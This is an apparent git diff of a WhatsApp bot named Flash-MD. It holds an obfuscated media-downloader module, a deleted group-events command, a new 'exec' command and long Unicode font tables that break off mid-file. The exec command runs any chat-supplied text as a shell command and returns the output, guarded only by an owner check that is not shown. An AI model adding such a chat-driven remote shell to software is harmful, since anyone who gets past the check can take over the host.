_0x21623b=_0x2aee50;console['log'](_0x21623b(0x1a7),_0x54302c),_0x2ff6f1(_0x21623b(0x1b2));});}catch(_0xfb5e9f){console[_0x2aee50(0x1b0)](_0x2aee50(0x1c6),_0xfb5e9f),_0x2ff6f1(_0x2aee50(0x1ce),_0xfb5e9f);}}),france({'nomCom':_0x420ee0(0x1bd),'categorie':_0x420ee0(0x195),'reaction':_0x420ee0(0x1d1)},async(_0xc0adf,_0x31a944,_0x2973ca)=>{const _0x3be628=_0x420ee0,{repondre:_0x559883,ms:_0x338af7,arg:_0x53173f}=_0x2973ca;if(!_0x53173f[0x0]){_0x559883(_0x3be628(0x1bf));return;}const _0x4a885b=_0x53173f[_0x3be628(0x1c1)]('\x20');try{getFBInfo(_0x4a885b)[_0x3be628(0x1b3)](_0x1c5e02=>{const _0x5400dc=_0x3be628;let _0x2d6279='\x0a\x20\x20\x20\x20\x20\x20\x20\x20titre:\x20'+_0x1c5e02[_0x5400dc(0x19c)]+_0x5400dc(0x1d3)+_0x1c5e02[_0x5400dc(0x1aa)]+_0x5400dc(0x1a1);_0x31a944[_0x5400dc(0x196)](_0xc0adf,{'image':{'url':_0x1c5e02[_0x5400dc(0x1b1)]},'caption':_0x2d6279},{'quoted':_0x338af7}),_0x31a944[_0x5400dc(0x196)](_0xc0adf,{'video':{'url':_0x1c5e02['sd']},'caption':_0x5400dc(0x1ad)},{'quoted':_0x338af7});})[_0x3be628(0x1c7)](_0x394bb5=>{const _0x5b18ae=_0x3be628;console['log'](_0x5b18ae(0x1a7),_0x394bb5),_0x559883(_0x394bb5);});}catch(_0x2d2707){console['error'](_0x3be628(0x1c3),_0x2d2707),_0x559883(_0x3be628(0x19d),_0x2d2707);}});function _0xde14(){const _0x449952=['fbdl','../framework/france','30718493WuOEMI','result','link','title','An\x20error\x20occurred\x20while\x20Flash-Md\x20was\x20downloading\x20your\x20media.','nowm','Downloaded\x20by\x20FLASH-MD:\x20','facebook\x20video\x20downloader\x0a\x20powered\x20by\x20*FLASH-MD*','\x0a\x20\x20\x20\x20\x20\x20','Provide\x20mediafire\x20link\x0a\x0amediafire\x20','split','3eMIXOl','mediafire','File\x20tooooo\x20big','Error:','https://api.maher-zubair.tech/download/instagram?url=','mime','url','video','type','facebook\x20video\x20downloader\x20powered\x20by\x20*FLASH-MD*','nama','104dCzxMF','error','thumbnail','try\x20fbdl2\x20on\x20this\x20link','then','reply','5237680gGSAzX','12zBSKuN','Here\x20is\x20your\x20Tiktok\x20Video.\x0a\x20_Downloaded\x20by_\x20*FLASH-MD*','249557HASjSG','I\x20am\x20unable\x20to\x20download\x20your\x20media.\x20\x0a\x20','150okdNWc','tiktok','../framework/dl/Function','fbdl2','length','Insert\x20a\x20public\x20facebook\x20video\x20link!\x20!','https://api.maher-zubair.tech/download/twitter?url=','join','248877AhPEQH','An\x20error\x20occurred\x20while\x20Flash-Md\x20was\x20downloading\x20your\x20media:','\x0a\x20\x20\x20\x20\x20\x20\x20\x20titre:\x20','https://api.maher-zubair.tech/download/tiktok2?url=','An\x20error\x20occurred\x20while\x20*FLASH-MD*\x20was\x20downloading\x20your\x20media:','catch','1635896ojeVBZ','data','json','238pNTMpT','@xaviabot/fb-downloader','4MsNhBY','An\x20error\x20occurred\x20while\x20downloading\x20your\x20media.','1368554fXcNSj','An\x20error\x20occurred\x20while\x20downloading:','📽️','Here\x20is\x20your\x20Instagram\x20Video.\x0a\x20_Downloaded\x20by_\x20*FLASH-MD*','\x0a\x20\x20\x20\x20\x20\x20\x20\x20Lien:\x20','52284kstPtC','Download','sendMessage'];_0xde14=function(){return _0x449952;};return _0xde14();} diff --git a/commands/Events.js b/commands/Events.js deleted file mode 100644 index 3ffd29bd..00000000 --- a/commands/Events.js +++ /dev/null @@ -1,53 +0,0 @@ -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - - -const { france } = require('../framework/france'); -const { attribuerUnevaleur } = require('../bdd/welcome'); - -async function events(nomCom) { - france({ - nomCom: nomCom, - categorie: 'Group' - }, async (dest, zk, commandeOptions) => { - const { ms, arg, repondre, superUser, verifAdmin } = commandeOptions; - - if (verifAdmin || superUser) { - if (!arg[0] || arg.join(' ') === ' ') { - repondre(nomCom + ' ' + ' on to active and ' + ' ' + nomCom + ' ' + 'off to put off'); - } else { - if (arg[0] === 'on' || arg[0] === 'off') { - - await attribuerUnevaleur(dest, nomCom, arg[0]); - repondre( nomCom + "is Successfully Activated" + arg[0]); - } else { - repondre('type on to activate or off to put it off'); - } - } - } else { - repondre('You can\'t use this commands '); - } - }); -} - -// Appel de la fonction events pour les valeurs 'welcome' et 'goodbye' -events('welcome'); -events('goodbye'); -events('antipromote'); -events('antidemote') ; diff --git a/commands/Exec.js b/commands/Exec.js new file mode 100644 index 00000000..0466032b --- /dev/null +++ b/commands/Exec.js @@ -0,0 +1,35 @@ +const { exec } = require('child_process'); +const { franceking } = require('../main'); + +module.exports = [ + { + name: 'exec', + get flashOnly() { + return franceking(); + }, + description: 'Execute shell commands remotely. OWNER ONLY.', + category: 'OWNER', + ownerOnly: true, + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + if (!args.length) { + return king.sendMessage(fromJid, { text: 'Usage: exec ' }, { quoted: msg }); + } + + const command = args.join(' '); + king.sendMessage(fromJid, { text: `⚡ Running command:\n${command}` }, { quoted: msg }); + + exec(command, { maxBuffer: 1024 * 1024 }, (error, stdout, stderr) => { + if (error) { + return king.sendMessage(fromJid, { text: `❌ Error:\n${error.message}` }, { quoted: msg }); + } + if (stderr) { + king.sendMessage(fromJid, { text: `⚠️ Stderr:\n${stderr}` }, { quoted: msg }); + } + + const output = stdout.length > 4000 ? stdout.slice(0, 4000) + '...' : stdout; + king.sendMessage(fromJid, { text: `✅ Output:\n${output || 'No output.'}` }, { quoted: msg }); + }); + } + } +]; diff --git a/commands/Fancy.js b/commands/Fancy.js index e19deb94..1f7f4f16 100644 --- a/commands/Fancy.js +++ b/commands/Fancy.js @@ -1,42 +1,85 @@ +const { franceking } = require('../main'); +const fancyStyles = { + 0:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ค","b":"๖","c":"¢","d":"໓","e":"ē","f":"f","g":"ງ","h":"h","i":"i","j":"ว","k":"k","l":"l","m":"๓","n":"ຖ","o":"໐","p":"p","q":"๑","r":"r","s":"Ş","t":"t","u":"น","v":"ง","w":"ຟ","x":"x","y":"ฯ","z":"ຊ","A":"ค","B":"๖","C":"¢","D":"໓","E":"ē","F":"f","G":"ງ","H":"h","I":"i","J":"ว","K":"k","L":"l","M":"๓","N":"ຖ","O":"໐","P":"p","Q":"๑","R":"r","S":"Ş","T":"t","U":"น","V":"ง","W":"ຟ","X":"x","Y":"ฯ","Z":"ຊ" }, + 1:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ą","b":"ც","c":"ƈ","d":"ɖ","e":"ɛ","f":"ʄ","g":"ɠ","h":"ɧ","i":"ı","j":"ʝ","k":"ƙ","l":"Ɩ","m":"ɱ","n":"ŋ","o":"ơ","p":"℘","q":"զ","r":"ཞ","s":"ʂ","t":"ɬ","u":"ų","v":"۷","w":"ῳ","x":"ҳ","y":"ყ","z":"ʑ","A":"ą","B":"ც","C":"ƈ","D":"ɖ","E":"ɛ","F":"ʄ","G":"ɠ","H":"ɧ","I":"ı","J":"ʝ","K":"ƙ","L":"Ɩ","M":"ɱ","N":"ŋ","O":"ơ","P":"℘","Q":"զ","R":"ཞ","S":"ʂ","T":"ɬ","U":"ų","V":"۷","W":"ῳ","X":"ҳ","Y":"ყ","Z":"ʑ" }, + 2:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ム","b":"乃","c":"ᄃ","d":"り","e":"乇","f":"キ","g":"ム","h":"ん","i":"ノ","j":"フ","k":"ズ","l":"レ","m":"ᄊ","n":"刀","o":"の","p":"ア","q":"ゐ","r":"尺","s":"丂","t":"イ","u":"ひ","v":"√","w":"W","x":"メ","y":"リ","z":"乙","A":"ム","B":"乃","C":"ᄃ","D":"り","E":"乇","F":"キ","G":"ム","H":"ん","I":"ノ","J":"フ","K":"ズ","L":"レ","M":"ᄊ","N":"刀","O":"の","P":"ア","Q":"ゐ","R":"尺","S":"丂","T":"イ","U":"ひ","V":"√","W":"W","X":"メ","Y":"リ","Z":"乙" }, + 3:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"卂","b":"乃","c":"匚","d":"ᗪ","e":"乇","f":"千","g":"Ꮆ","h":"卄","i":"丨","j":"フ","k":"Ҝ","l":"ㄥ","m":"爪","n":"几","o":"ㄖ","p":"卩","q":"Ɋ","r":"尺","s":"丂","t":"ㄒ","u":"ㄩ","v":"ᐯ","w":"山","x":"乂","y":"ㄚ","z":"乙","A":"卂","B":"乃","C":"匚","D":"ᗪ","E":"乇","F":"千","G":"Ꮆ","H":"卄","I":"丨","J":"フ","K":"Ҝ","L":"ㄥ","M":"爪","N":"几","O":"ㄖ","P":"卩","Q":"Ɋ","R":"尺","S":"丂","T":"ㄒ","U":"ㄩ","V":"ᐯ","W":"山","X":"乂","Y":"ㄚ","Z":"乙" }, + 4:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"🄰","b":"🄱","c":"🄲","d":"🄳","e":"🄴","f":"🄵","g":"🄶","h":"🄷","i":"🄸","j":"🄹","k":"🄺","l":"🄻","m":"🄼","n":"🄽","o":"🄾","p":"🄿","q":"🅀","r":"🅁","s":"🅂","t":"🅃","u":"🅄","v":"🅅","w":"🅆","x":"🅇","y":"🅈","z":"🅉","A":"🄰","B":"🄱","C":"🄲","D":"🄳","E":"🄴","F":"🄵","G":"🄶","H":"🄷","I":"🄸","J":"🄹","K":"🄺","L":"🄻","M":"🄼","N":"🄽","O":"🄾","P":"🄿","Q":"🅀","R":"🅁","S":"🅂","T":"🅃","U":"🅄","V":"🅅","W":"🅆","X":"🅇","Y":"🅈","Z":"🅉" }, + 5:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"Ꮧ","b":"Ᏸ","c":"ፈ","d":"Ꮄ","e":"Ꮛ","f":"Ꭶ","g":"Ꮆ","h":"Ꮒ","i":"Ꭵ","j":"Ꮰ","k":"Ꮶ","l":"Ꮭ","m":"Ꮇ","n":"Ꮑ","o":"Ꭷ","p":"Ꭾ","q":"Ꭴ","r":"Ꮢ","s":"Ꮥ","t":"Ꮦ","u":"Ꮼ","v":"Ꮙ","w":"Ꮗ","x":"ጀ","y":"Ꭹ","z":"ፚ","A":"Ꮧ","B":"Ᏸ","C":"ፈ","D":"Ꮄ","E":"Ꮛ","F":"Ꭶ","G":"Ꮆ","H":"Ꮒ","I":"Ꭵ","J":"Ꮰ","K":"Ꮶ","L":"Ꮭ","M":"Ꮇ","N":"Ꮑ","O":"Ꭷ","P":"Ꭾ","Q":"Ꭴ","R":"Ꮢ","S":"Ꮥ","T":"Ꮦ","U":"Ꮼ","V":"Ꮙ","W":"Ꮗ","X":"ጀ","Y":"Ꭹ","Z":"ፚ" }, + 6:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ᗩ","b":"ᗷ","c":"ᑕ","d":"ᗪ","e":"E","f":"ᖴ","g":"G","h":"ᕼ","i":"I","j":"ᒍ","k":"K","l":"ᒪ","m":"ᗰ","n":"ᑎ","o":"O","p":"ᑭ","q":"ᑫ","r":"ᖇ","s":"ᔕ","t":"T","u":"ᑌ","v":"ᐯ","w":"ᗯ","x":"᙭","y":"Y","z":"ᘔ","A":"ᗩ","B":"ᗷ","C":"ᑕ","D":"ᗪ","E":"E","F":"ᖴ","G":"G","H":"ᕼ","I":"I","J":"ᒍ","K":"K","L":"ᒪ","M":"ᗰ","N":"ᑎ","O":"O","P":"ᑭ","Q":"ᑫ","R":"ᖇ","S":"ᔕ","T":"T","U":"ᑌ","V":"ᐯ","W":"ᗯ","X":"᙭","Y":"Y","Z":"ᘔ" }, + 7:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ǟ","b":"ɮ","c":"ƈ","d":"ɖ","e":"ɛ","f":"ʄ","g":"ɢ","h":"ɦ","i":"ɨ","j":"ʝ","k":"ӄ","l":"ʟ","m":"ʍ","n":"ռ","o":"օ","p":"ք","q":"զ","r":"ʀ","s":"ֆ","t":"ȶ","u":"ʊ","v":"ʋ","w":"ա","x":"Ӽ","y":"ʏ","z":"ʐ","A":"ǟ","B":"ɮ","C":"ƈ","D":"ɖ","E":"ɛ","F":"ʄ","G":"ɢ","H":"ɦ","I":"ɨ","J":"ʝ","K":"ӄ","L":"ʟ","M":"ʍ","N":"ռ","O":"օ","P":"ք","Q":"զ","R":"ʀ","S":"ֆ","T":"ȶ","U":"ʊ","V":"ʋ","W":"ա","X":"Ӽ","Y":"ʏ","Z":"ʐ" }, + 8:{"0":"𝟶","1":"𝟷","2":"𝟸","3":"𝟹","4":"𝟺","5":"𝟻","6":"𝟼","7":"𝟽","8":"𝟾","9":"𝟿","a":"𝚊","b":"𝚋","c":"𝚌","d":"𝚍","e":"𝚎","f":"𝚏","g":"𝚐","h":"𝚑","i":"𝚒","j":"𝚓","k":"𝚔","l":"𝚕","m":"𝚖","n":"𝚗","o":"𝚘","p":"𝚙","q":"𝚚","r":"𝚛","s":"𝚜","t":"𝚝","u":"𝚞","v":"𝚟","w":"𝚠","x":"𝚡","y":"𝚢","z":"𝚣","A":"𝙰","B":"𝙱","C":"𝙲","D":"𝙳","E":"𝙴","F":"𝙵","G":"𝙶","H":"𝙷","I":"𝙸","J":"𝙹","K":"𝙺","L":"𝙻","M":"𝙼","N":"𝙽","O":"𝙾","P":"𝙿","Q":"𝚀","R":"𝚁","S":"𝚂","T":"𝚃","U":"𝚄","V":"𝚅","W":"𝚆","X":"𝚇","Y":"𝚈","Z":"𝚉" }, + 9:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝙖","b":"𝙗","c":"𝙘","d":"𝙙","e":"𝙚","f":"𝙛","g":"𝙜","h":"𝙝","i":"𝙞","j":"𝙟","k":"𝙠","l":"𝙡","m":"𝙢","n":"𝙣","o":"𝙤","p":"𝙥","q":"𝙦","r":"𝙧","s":"𝙨","t":"𝙩","u":"𝙪","v":"𝙫","w":"𝙬","x":"𝙭","y":"𝙮","z":"𝙯","A":"𝘼","B":"𝘽","C":"𝘾","D":"𝘿","E":"𝙀","F":"𝙁","G":"𝙂","H":"𝙃","I":"𝙄","J":"𝙅","K":"𝙆","L":"𝙇","M":"𝙈","N":"𝙉","O":"𝙊","P":"𝙋","Q":"𝙌","R":"𝙍","S":"𝙎","T":"𝙏","U":"𝙐","V":"𝙑","W":"𝙒","X":"𝙓","Y":"𝙔","Z":"𝙕" }, + 10:{"0":"𝟎","1":"𝟏","2":"𝟐","3":"𝟑","4":"𝟒","5":"𝟓","6":"𝟔","7":"𝟕","8":"𝟖","9":"𝟗","a":"𝐚","b":"𝐛","c":"𝐜","d":"𝐝","e":"𝐞","f":"𝐟","g":"𝐠","h":"𝐡","i":"𝐢","j":"𝐣","k":"𝐤","l":"𝐥","m":"𝐦","n":"𝐧","o":"𝐨","p":"𝐩","q":"𝐪","r":"𝐫","s":"𝐬","t":"𝐭","u":"𝐮","v":"𝐯","w":"𝐰","x":"𝐱","y":"𝐲","z":"𝐳","A":"𝐀","B":"𝐁","C":"𝐂","D":"𝐃","E":"𝐄","F":"𝐅","G":"𝐆","H":"𝐇","I":"𝐈","J":"𝐉","K":"𝐊","L":"𝐋","M":"𝐌","N":"𝐍","O":"𝐎","P":"𝐏","Q":"𝐐","R":"𝐑","S":"𝐒","T":"𝐓","U":"𝐔","V":"𝐕","W":"𝐖","X":"𝐗","Y":"𝐘","Z":"𝐙" }, + 11:{"0":"𝟬","1":"𝟭","2":"𝟮","3":"𝟯","4":"𝟰","5":"𝟱","6":"𝟲","7":"𝟳","8":"𝟴","9":"𝟵","a":"𝗮","b":"𝗯","c":"𝗰","d":"𝗱","e":"𝗲","f":"𝗳","g":"𝗴","h":"𝗵","i":"𝗶","j":"𝗷","k":"𝗸","l":"𝗹","m":"𝗺","n":"𝗻","o":"𝗼","p":"𝗽","q":"𝗾","r":"𝗿","s":"𝘀","t":"𝘁","u":"𝘂","v":"𝘃","w":"𝘄","x":"𝘅","y":"𝘆","z":"𝘇","A":"𝗔","B":"𝗕","C":"𝗖","D":"𝗗","E":"𝗘","F":"𝗙","G":"𝗚","H":"𝗛","I":"𝗜","J":"𝗝","K":"𝗞","L":"𝗟","M":"𝗠","N":"𝗡","O":"𝗢","P":"𝗣","Q":"𝗤","R":"𝗥","S":"𝗦","T":"𝗧","U":"𝗨","V":"𝗩","W":"𝗪","X":"𝗫","Y":"𝗬","Z":"𝗭" }, + 12: {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝘢","b":"𝘣","c":"𝘤","d":"𝘥","e":"𝘦","f":"𝘧","g":"𝘨","h":"𝘩","i":"𝘪","j":"𝘫","k":"𝘬","l":"𝘭","m":"𝘮","n":"𝘯","o":"𝘰","p":"𝘱","q":"𝘲","r":"𝘳","s":"𝘴","t":"𝘵","u":"𝘶","v":"𝘷","w":"𝘸","x":"𝘹","y":"𝘺","z":"𝘻","A":"𝘈","B":"𝘉","C":"𝘊","D":"𝘋","E":"𝘌","F":"𝘍","G":"𝘎","H":"𝘏","I":"𝘐","J":"𝘑","K":"𝘒","L":"𝘓","M":"𝘔","N":"𝘕","O":"𝘖","P":"𝘗","Q":"𝘘","R":"𝘙","S":"𝘚","T":"𝘛","U":"𝘜","V":"𝘝","W":"𝘞","X":"𝘟","Y":"𝘠","Z":"𝘡" }, + 13:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"α","b":"Ⴆ","c":"ƈ","d":"ԃ","e":"ҽ","f":"ϝ","g":"ɠ","h":"ԋ","i":"ι","j":"ʝ","k":"ƙ","l":"ʅ","m":"ɱ","n":"ɳ","o":"σ","p":"ρ","q":"ϙ","r":"ɾ","s":"ʂ","t":"ƚ","u":"υ","v":"ʋ","w":"ɯ","x":"x","y":"ყ","z":"ȥ","A":"A","B":"B","C":"C","D":"D","E":"E","F":"F","G":"G","H":"H","I":"I","J":"J","K":"K","L":"L","M":"M","N":"N","O":"O","P":"P","Q":"Q","R":"R","S":"S","T":"T","U":"U","V":"V","W":"W","X":"X","Y":"Y","Z":"Z" }, + 14:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"₳","b":"฿","c":"₵","d":"Đ","e":"Ɇ","f":"₣","g":"₲","h":"Ⱨ","i":"ł","j":"J","k":"₭","l":"Ⱡ","m":"₥","n":"₦","o":"Ø","p":"₱","q":"Q","r":"Ɽ","s":"₴","t":"₮","u":"Ʉ","v":"V","w":"₩","x":"Ӿ","y":"Ɏ","z":"Ⱬ","A":"₳","B":"฿","C":"₵","D":"Đ","E":"Ɇ","F":"₣","G":"₲","H":"Ⱨ","I":"ł","J":"J","K":"₭","L":"Ⱡ","M":"₥","N":"₦","O":"Ø","P":"₱","Q":"Q","R":"Ɽ","S":"₴","T":"₮","U":"Ʉ","V":"V","W":"₩","X":"Ӿ","Y":"Ɏ","Z":"Ⱬ" }, + 15:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"å","b":"ß","c":"¢","d":"Ð","e":"ê","f":"£","g":"g","h":"h","i":"ï","j":"j","k":"k","l":"l","m":"m","n":"ñ","o":"ð","p":"þ","q":"q","r":"r","s":"§","t":"†","u":"µ","v":"v","w":"w","x":"x","y":"¥","z":"z","A":"Ä","B":"ß","C":"Ç","D":"Ð","E":"È","F":"£","G":"G","H":"H","I":"Ì","J":"J","K":"K","L":"L","M":"M","N":"ñ","O":"Ö","P":"þ","Q":"Q","R":"R","S":"§","T":"†","U":"Ú","V":"V","W":"W","X":"×","Y":"¥","Z":"Z" }, + 16:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"α","b":"в","c":"¢","d":"∂","e":"є","f":"ƒ","g":"g","h":"н","i":"ι","j":"נ","k":"к","l":"ℓ","m":"м","n":"η","o":"σ","p":"ρ","q":"q","r":"я","s":"ѕ","t":"т","u":"υ","v":"ν","w":"ω","x":"χ","y":"у","z":"z","A":"α","B":"в","C":"¢","D":"∂","E":"є","F":"ƒ","G":"g","H":"н","I":"ι","J":"נ","K":"к","L":"ℓ","M":"м","N":"η","O":"σ","P":"ρ","Q":"q","R":"я","S":"ѕ","T":"т","U":"υ","V":"ν","W":"ω","X":"χ","Y":"у","Z":"z" }, + 17:{"0":"⊘","1":"𝟙","2":"ϩ","3":"Ӡ","4":"५","5":"Ƽ","6":"Ϭ","7":"7","8":"𝟠","9":"९","a":"ą","b":"ҍ","c":"ç","d":"ժ","e":"ҽ","f":"ƒ","g":"ց","h":"հ","i":"ì","j":"ʝ","k":"ҟ","l":"Ӏ","m":"ʍ","n":"ղ","o":"օ","p":"ք","q":"զ","r":"ɾ","s":"ʂ","t":"է","u":"մ","v":"ѵ","w":"ա","x":"×","y":"վ","z":"Հ","A":"Ⱥ","B":"β","C":"↻","D":"Ꭰ","E":"Ɛ","F":"Ƒ","G":"Ɠ","H":"Ƕ","I":"į","J":"ل","K":"Ҡ","L":"Ꝉ","M":"Ɱ","N":"ហ","O":"ට","P":"φ","Q":"Ҩ","R":"འ","S":"Ϛ","T":"Ͳ","U":"Ա","V":"Ỽ","W":"చ","X":"ჯ","Y":"Ӌ","Z":"ɀ" }, + 18:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"Λ","b":"B","c":"ᄃ","d":"D","e":"Σ","f":"F","g":"G","h":"Ή","i":"I","j":"J","k":"K","l":"ᄂ","m":"M","n":"П","o":"Ө","p":"P","q":"Q","r":"Я","s":"Ƨ","t":"Ƭ","u":"Ц","v":"V","w":"Щ","x":"X","y":"Y","z":"Z","A":"Λ","B":"B","C":"ᄃ","D":"D","E":"Σ","F":"F","G":"G","H":"Ή","I":"I","J":"J","K":"K","L":"ᄂ","M":"M","N":"П","O":"Ө","P":"P","Q":"Q","R":"Я","S":"Ƨ","T":"Ƭ","U":"Ц","V":"V","W":"Щ","X":"X","Y":"Y","Z":"Z" }, + 19:{"0":"₀","1":"₁","2":"₂","3":"₃","4":"₄","5":"₅","6":"₆","7":"₇","8":"₈","9":"₉","a":"ₐ","b":"b","c":"c","d":"d","e":"ₑ","f":"f","g":"g","h":"ₕ","i":"ᵢ","j":"ⱼ","k":"ₖ","l":"ₗ","m":"ₘ","n":"ₙ","o":"ₒ","p":"ₚ","q":"q","r":"ᵣ","s":"ₛ","t":"ₜ","u":"ᵤ","v":"ᵥ","w":"w","x":"ₓ","y":"y","z":"z","A":"ₐ","B":"B","C":"C","D":"D","E":"ₑ","F":"F","G":"G","H":"ₕ","I":"ᵢ","J":"ⱼ","K":"ₖ","L":"ₗ","M":"ₘ","N":"ₙ","O":"ₒ","P":"ₚ","Q":"Q","R":"ᵣ","S":"ₛ","T":"ₜ","U":"ᵤ","V":"ᵥ","W":"W","X":"ₓ","Y":"Y","Z":"Z","+":"₊","-":"₋",":":"₌","(":"₍",")":"₎" }, + 20:{"0":"⁰","1":"¹","2":"²","3":"³","4":"⁴","5":"⁵","6":"⁶","7":"⁷","8":"⁸","9":"⁹","a":"ᵃ","b":"ᵇ","c":"ᶜ","d":"ᵈ","e":"ᵉ","f":"ᶠ","g":"ᵍ","h":"ʰ","i":"ⁱ","j":"ʲ","k":"ᵏ","l":"ˡ","m":"ᵐ","n":"ⁿ","o":"ᵒ","p":"ᵖ","q":"q","r":"ʳ","s":"ˢ","t":"ᵗ","u":"ᵘ","v":"ᵛ","w":"ʷ","x":"ˣ","y":"ʸ","z":"ᶻ","A":"ᴬ","B":"ᴮ","C":"ᶜ","D":"ᴰ","E":"ᴱ","F":"ᶠ","G":"ᴳ","H":"ᴴ","I":"ᴵ","J":"ᴶ","K":"ᴷ","L":"ᴸ","M":"ᴹ","N":"ᴺ","O":"ᴼ","P":"ᴾ","Q":"Q","R":"ᴿ","S":"ˢ","T":"ᵀ","U":"ᵁ","V":"ⱽ","W":"ᵂ","X":"ˣ","Y":"ʸ","Z":"ᶻ","+":"⁺","-":"⁻",":":"⁼","(":"⁽",")":"⁾" }, + 21:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ค","b":"๒","c":"ς","d":"๔","e":"є","f":"Ŧ","g":"ﻮ","h":"ђ","i":"เ","j":"ן","k":"к","l":"ɭ","m":"๓","n":"ภ","o":"๏","p":"ק","q":"ợ","r":"г","s":"ร","t":"Շ","u":"ย","v":"ש","w":"ฬ","x":"א","y":"ץ","z":"չ","A":"ค","B":"๒","C":"ς","D":"๔","E":"є","F":"Ŧ","G":"ﻮ","H":"ђ","I":"เ","J":"ן","K":"к","L":"ɭ","M":"๓","N":"ภ","O":"๏","P":"ק","Q":"ợ","R":"г","S":"ร","T":"Շ","U":"ย","V":"ש","W":"ฬ","X":"א","Y":"ץ","Z":"չ" }, + 22:{"0":"𝟘","1":"𝟙","2":"𝟚","3":"𝟛","4":"𝟜","5":"𝟝","6":"𝟞","7":"𝟟","8":"𝟠","9":"𝟡","a":"𝕒","b":"𝕓","c":"𝕔","d":"𝕕","e":"𝕖","f":"𝕗","g":"𝕘","h":"𝕙","i":"𝕚","j":"𝕛","k":"𝕜","l":"𝕝","m":"𝕞","n":"𝕟","o":"𝕠","p":"𝕡","q":"𝕢","r":"𝕣","s":"𝕤","t":"𝕥","u":"𝕦","v":"𝕧","w":"𝕨","x":"𝕩","y":"𝕪","z":"𝕫","A":"𝔸","B":"𝔹","C":"ℂ","D":"𝔻","E":"𝔼","F":"𝔽","G":"𝔾","H":"ℍ","I":"𝕀","J":"𝕁","K":"𝕂","L":"𝕃","M":"𝕄","N":"ℕ","O":"𝕆","P":"ℙ","Q":"ℚ","R":"ℝ","S":"𝕊","T":"𝕋","U":"𝕌","V":"𝕍","W":"𝕎","X":"𝕏","Y":"𝕐","Z":"ℤ" }, + 23:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝖆","b":"𝖇","c":"𝖈","d":"𝖉","e":"𝖊","f":"𝖋","g":"𝖌","h":"𝖍","i":"𝖎","j":"𝖏","k":"𝖐","l":"𝖑","m":"𝖒","n":"𝖓","o":"𝖔","p":"𝖕","q":"𝖖","r":"𝖗","s":"𝖘","t":"𝖙","u":"𝖚","v":"𝖛","w":"𝖜","x":"𝖝","y":"𝖞","z":"𝖟","A":"𝕬","B":"𝕭","C":"𝕮","D":"𝕯","E":"𝕰","F":"𝕱","G":"𝕲","H":"𝕳","I":"𝕴","J":"𝕵","K":"𝕶","L":"𝕷","M":"𝕸","N":"𝕹","O":"𝕺","P":"𝕻","Q":"𝕼","R":"𝕽","S":"𝕾","T":"𝕿","U":"𝖀","V":"𝖁","W":"𝖂","X":"𝖃","Y":"𝖄","Z":"𝖅" }, + 24:{q:"🆀",w:"🆆",e:"🅴",r:"🆁",t:"🆃",y:"🆈",u:"🆄",i:"🅸",o:"🅾",p:"🅿",a:"🅰",s:"🆂",d:"🅳",f:"🅵",g:"🅶",h:"🅷",j:"🅹",k:"🅺",l:"🅻",z:"🆉",x:"🆇",c:"🅲",v:"🆅",b:"🅱",n:"🅽",m:"🅼"}, + 